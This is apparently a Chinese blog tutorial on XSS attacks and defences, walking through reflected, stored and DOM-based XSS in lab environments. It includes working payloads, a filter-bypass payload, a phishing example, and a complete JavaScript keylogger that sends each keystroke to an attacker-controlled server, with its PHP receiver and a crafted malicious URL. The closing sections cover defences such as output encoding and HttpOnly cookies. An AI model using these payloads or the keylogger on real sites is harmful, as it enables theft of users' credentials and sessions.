xss漏洞攻防

  • Post author:
  • Post category:其他


XSS基本概念和原理说明

基本概念

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。xss是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户

在WEB2.0时代,强调的是互动,使得用户输入信息的机会大增,在这个情况下,我们作为开发者,在开发的时候,要提高警惕。

xss漏洞可以用来进行钓鱼攻击,前端js挖矿,用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制。

XSS攻击的主要途径

XSS攻击方法只是利用HTML的属性,作各种的尝试,找出注入的方法。现在对三种主要方式进行分析。

1.第一种:对普通的用户输入,页面原样输出,用户通过对JSCODE的伪装,经过一些操作就会跳出一个木马界面,取得登录用户的Cookie.

2.第二种:在代码区里有用户输入的内容

原则就是,代码区中,绝对不应含有用户输入的东西。

3.第三种:允许用户输入HTML标签的页面。

用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。

反射性XSS

<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

反射型xss(get)

1.首先输入 >”'<> 并提交,发现可以正常输出。

图3.3.1.1 输入数据

2.查看源码,发现我们的输入全部输出到了p标签中。

图2.1 查看源码

3.之后我们输入payload:<script>alert(“xss”)</script>,发现输入框中容不下这么长的数据。

图2.2 进行验证

4.按F12,去改maxlength的值,改完后我们的payload执行成功。

图2.3 改变长度

图2.4 查看结果

3.3.2 反射性xss(post)

1.admin/123456 进行登录。

图2.5 进行登录

图2.6 登录成功

2.输入payload: <script>alert(‘xss’)</script>。

图2.7 返回结果

3.以POST形式提交,URL中不会显示参数内容,所以我们不能把恶意代码嵌入URL中,我们先进行抓包。

图2.8 进行抓包

4.右键->Engagement Tools->Generate CSRF Poc,复制这段代码到记事本,命名为xss.html。

图2.9 查看代码

5.当我们点开这个网址,点击按钮。

图2.10 点击按钮

6.测验成功!

图2.11 成功

存储型XSS

1.存储型的XSS与反射型的XSS一样,但它是将脚本存在了后台储存起来,构成更持久的危害,也称为永久性xss。

2.在留言框中输入进行留言。

图3.1 进行留言

3.我们接着输入一段Java script的代码,<script>alert(‘xss’)</script> 。

图3.2 输入代码看结果

4.提交之后,发现弹窗,当我们刷新页面的时候,会发现,会一直弹窗

DOM型XSS

1.DOM 是一项 W3C (World Wide Web Consortium) 标准。

DOM 定义了访问文档的标准:“W3C 文档对象模型(DOM)是中立于平台和语言的接口,它允许程序和脚本动态地访问、更新文档的内容、结构和样式。”

W3C DOM 标准被分为 3 个不同的部分:

·Core DOM – 所有文档类型的标准模型

·XML DOM – XML 文档的标准模型

·HTML DOM – HTML 文档的标准模型

而html dom是HTML 的标准对象模型和编程接口

换句话来说,HTML DOM 是关于如何获取、更改、添加或删除 HTML 元素的标准

HTML DOM 方法是能够(在 HTML 元素上)执行的动作。

HTML DOM 属性是能够设置或改变的 HTML 元素的值。

也就是说dom就是一个前端接口,不与后台交互。

2.在DOM型xss中输入框输入1111,点击click me!

图4.1 输入1111

3.我们查看源代码,首先它使用dom里面的document.getElementById获取到了id=text的值,text 就是下面input 也就是我们输入的内容,然后通过dom的操作,将我们输入的内容拼接在了a标签的href属性中,接着a标签会写在id=dom的div标签中。

图4.2查看源代码

4.通过分析代码,我们发现我们输入的东西是str,而str又拼接在A标签中。然后我们来闭合它<a href = ‘ ‘οnclick=“alert(‘xss’)”> ‘>what do you see简单来说就是单引号闭合前面那个单引号,尖括号闭合a标签,中间再来一个弹窗,然后把我们自己写的拿出来’οnclick=“alert(‘xss’)”>

图4.3查看结果

DOM型xss-x

1.同样是在输入框输入1111点击。

图4.4 输入

2.看它网页的源代码,它会将URL中传参的内容获取到,然后通过一个url的解码,获取到输入内容并赋值给xss,然后将变量xss写入a标签的href属性中,同样是闭合a标签构造代码。

图4.5 查看源码

3.输入我们刚刚的脚本’οnclick=“alert(‘xss’)”>

图4.6 输入脚本

4.要注意的是上面url里的东西,如果将这段url发送给受害者,那么当他点击连接的时候,就会执行我们构造的恶意的Java script代码了。

图4.7 查看url

XSS钓鱼

xss钓鱼测试

这里我们进入存储型xss实验

图5.1 界面


我们发现方框,进行注入js代码,输入


我们发现代码出现了发送认证框,并将信息传送到后台

图 5.2 代码审计

图 5.3 注入

提交后出现登录框,输入默认密码

图 5.4 登录框


进行登录后,就那个入后台查看钓鱼结果

图5..5 xss后台

6.XSS获取键盘记录

键盘记录器

keylogger.js

document.onkeypress = function(evt) {

evt = evt || window.event;

key = String.fromCharCode(evt.charCode);

if(key) {

var http = new XMLHttpRequest();

var param = encodeURI(key);

http.open(“POST”,”http://192.168.43.44/keylogger.php”,true);

http.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”);

http.send(“key=”+param);

}

}

该脚本是放在攻击者的机器中,让用户访问执行解析用的;用户执行了,在浏览器里键盘输入的字符就会发送到keylogger.php进行处理。下面就是keylogger.php的代码

keylogger.php <?php

$key=$_POST[‘key’];

$logfile=”keylog.txt”;

$fp = fopen($logfile,”a”);

fwrite($fp,$key);

fclose($fp);

?>

该php脚本是用来接受受害者用户返回的数据,即键盘输入的值,然后保存到keylog.txt文本中。

所以可以事先创建keylog.txt文件

总之我们我们需要准备三个文件

那么接下来就是构造有反射型xss漏洞网站的url链接,诱骗用户点击

<script src=http://192.168.43.44/keylogger.js></script>

将上面的脚本插入到链接中

http://192.168.43.117/dvwa/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F192.168.43.44%2Fkeylogger.js%3E%3C%2Fscript%3E#

实现的效果如下


任意输入的字符都会被记录(在当前页面)


思路

:诱骗用户点击url,点击之后获取攻击者的keylogger.js脚本并解析;解析之后,用户在该页面输入的任何字符会发送到keylogger.php页面进行处理,如果是登陆的站点页面,攻击者就可以轻松获得用户明文的用户名密码。

7.XSS之盲打

1.首先输入数据,然后提交。

图6.1 提交数据

2.我们前端并不会看到,输入之前的代码试一下。

图6.2 再次提交

3.我们登录管理员后台看看,点一下提示。

图6.3 找到访问地址

3.登录之后发现,跳出弹窗。

图6.4 跳出弹窗

4.说明后台没有对输入的东西进行判断,这种危害还是很大的,如果输入一段恶意的代码,就可以获取到管理员的cookie,那么 就可以伪造管理员登录了。

8. XSS的防御绕过

XSS的防御机制存在一定的绕过风险,攻击者可能会利用一些技巧来绕过防御措施。

以下是一些常见的XSS防御绕过技巧:

编码绕过:攻击者可能会使用各种编码方式来混淆恶意脚本,以绕过防御机制。例如,可以使用URL编码、HTML实体编码、Unicode编码等方式来绕过防御。

过滤器绕过:攻击者可能会使用一些技巧来绕过过滤器,使恶意脚本得以注入。例如,可以使用大小写混淆、分隔符混淆、括号嵌套等技巧来绕过过滤器。

漏洞利用:攻击者可能会利用应用程序中的漏洞来注入恶意脚本。例如,可以利用SQL注入漏洞、文件上传漏洞、命令执行

漏洞等来注入恶意脚本。

语言特性绕过:攻击者可能会利用语言的一些特性来绕过防御机制。例如,可以使用二进制表示法、类似于HTML标签的字符串等来绕过防御。

为了防止XSS防御绕过,应该采取以下措施:

使用参数化查询或预处理语句,以避免SQL注入攻击。

对用户输入的数据进行有效的过滤和验证,以确保它们不包含恶意代码。

对输出进行编码,以防止恶意脚本被执行。

定期执行安全测试,以发现并修复潜在的XSS漏洞。

使用Web应用程序防火墙(WAF),以检测和阻止攻击者尝试利用XSS漏洞进行攻击。

9. XSS平台搭建

安装教程

1. 首先我们需要搭建好PHP study:

2. 下载 xss-labs 靶场源码


GitHub下载

https://github.com/do0dl3/xss-labs

3.

解压缩并放入如下文件夹(网站根目录)


修改名字,如 xss-labs

4.

验证

在浏览器地址输入localhost/xss-labs

或者输入127.0.0.1/xss-labs

再或者输入本机ip/xss-labs

得到如下界面,安装成功

10.XSS绕过之htmlspecialchars()函数

源码解析

<!DOCTYPE html><!–STATUS OK–><html>

<head>

<meta http-equiv=”content-type” content=”text/html;charset=utf-8″>

<script>

window.alert = function()

{

confirm(“完成的不错!”); window.location.href=”level3.php?writing=wait”;

}

</script>

<title>欢迎来到level2</title>

</head>

<body>

<h1 align=center>欢迎来到level2</h1>

<?php ini_set(“display_errors”, 0);

$str = $_GET[“keyword”];

echo “<h2 align=center>没有找到

和”.htmlspecialchars($str).”相关的结果.

</h2>”.'<center>

<form action=level2.php method=GET>

<input name=keyword value=”‘.$str.'”>

<input type=submit name=submit value=”搜索”/>

</form>

</center>’;

?>

<center><img src=level2.png></center>

<?php

echo “<h3 align=center>payload的长度:”.strlen($str).”

</h3>”;

?>

</body>

</html>

可以看到代码使用了htmlspecialchars()函数,只需要对他进行绕过即可

通过方法

我们进行简单的测试,报错后查看源码,发现<>被转义了

应该是htmlspecialchars() 函数在服务器端对keyword参数的值进行了处理。

只需要将后端的引号和标签先闭合,再注释掉后边的>即可

“><script>alert(1)</script>//


左边的”>去闭合原先的” 右边的//去注释原先的”>

11. XSS安全防御

XSS防御方法总体思路是对用户输入进行过滤,对输出进行编码。

对用户输入进行XSS防御方式有两种:基于黑名单的过滤和基于白名单的过滤。基于黑名单的过滤是只规定哪些数据不能被输入,但是很可能被绕过,比如对 ‘ ” <> 等进行过滤。而基于白名单的过滤是只定义哪些数据才能被输入,相对来说更安全。

设置http-only参数为true,这样JS就不能读取cookie信息了(但是存在一些特殊情况可能被绕过)。

使用一些函数进行防御,例如htmlspecialchars()、strip_tags()等。

不要随意打开一些来历不明的网站或链接,这样可以避免受到XSS攻击的风险。XSS防御函数

1. htmlspecialchars:可以把输入内容转换为HTML实体.

//该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)

(1)预定义的字符是:

& (和号)成为 &

” (双引号)成为 ”

’ (单引号)成为’

< (小于)成为 <

>(大于)成为 >

//过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

可用的quotestyle类型:

ENT_COMPAT – 默认。仅编码双引号

ENT_QUOTES – 编码双引号和单引号

ENT_NOQUOTES – 不编码任何引号

//举例1:设置ENT_QUOTES

$message = htmlspecialchars($_GET[‘message’],ENT_QUOTES);

//举例2:

$str = “<script>alert(document.cookie)</script>”;

echo $str;

$str1 = htmlspecialchars($str);

2.htmlentities()作用:把特殊字符转换为html实体

#基本格式:htmlentities(string,flag,character-set,double_encode)函数

$str = “Bill & ‘Steve'”;

echo htmlentities($str);

echo htmlentities($str, ENT_COMPAT); // 只转换双引号

3.strip_tags()函数作用:自动去掉字符串中HTML/XML和PHP的标签;始终会剥离HTML注释,不能修改.

#举例1:移除html标签

echo strip_tags(“Hello <b>world!</b>”); #结果Hello world!

#举例2:移除JS标签

$str = “<script>alert(document.cookie);</script>”;

$new = strip_tags($str);

echo $new; #结果alert(document.cookie)

4. 虽然这些函数能从一定程度上实现对XSS的防护,但是有时候不够灵活。

可以根据需求,自定义函数,对一些特殊字符进行转译,以提高防护效果。



版权声明:本文为mackilo原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。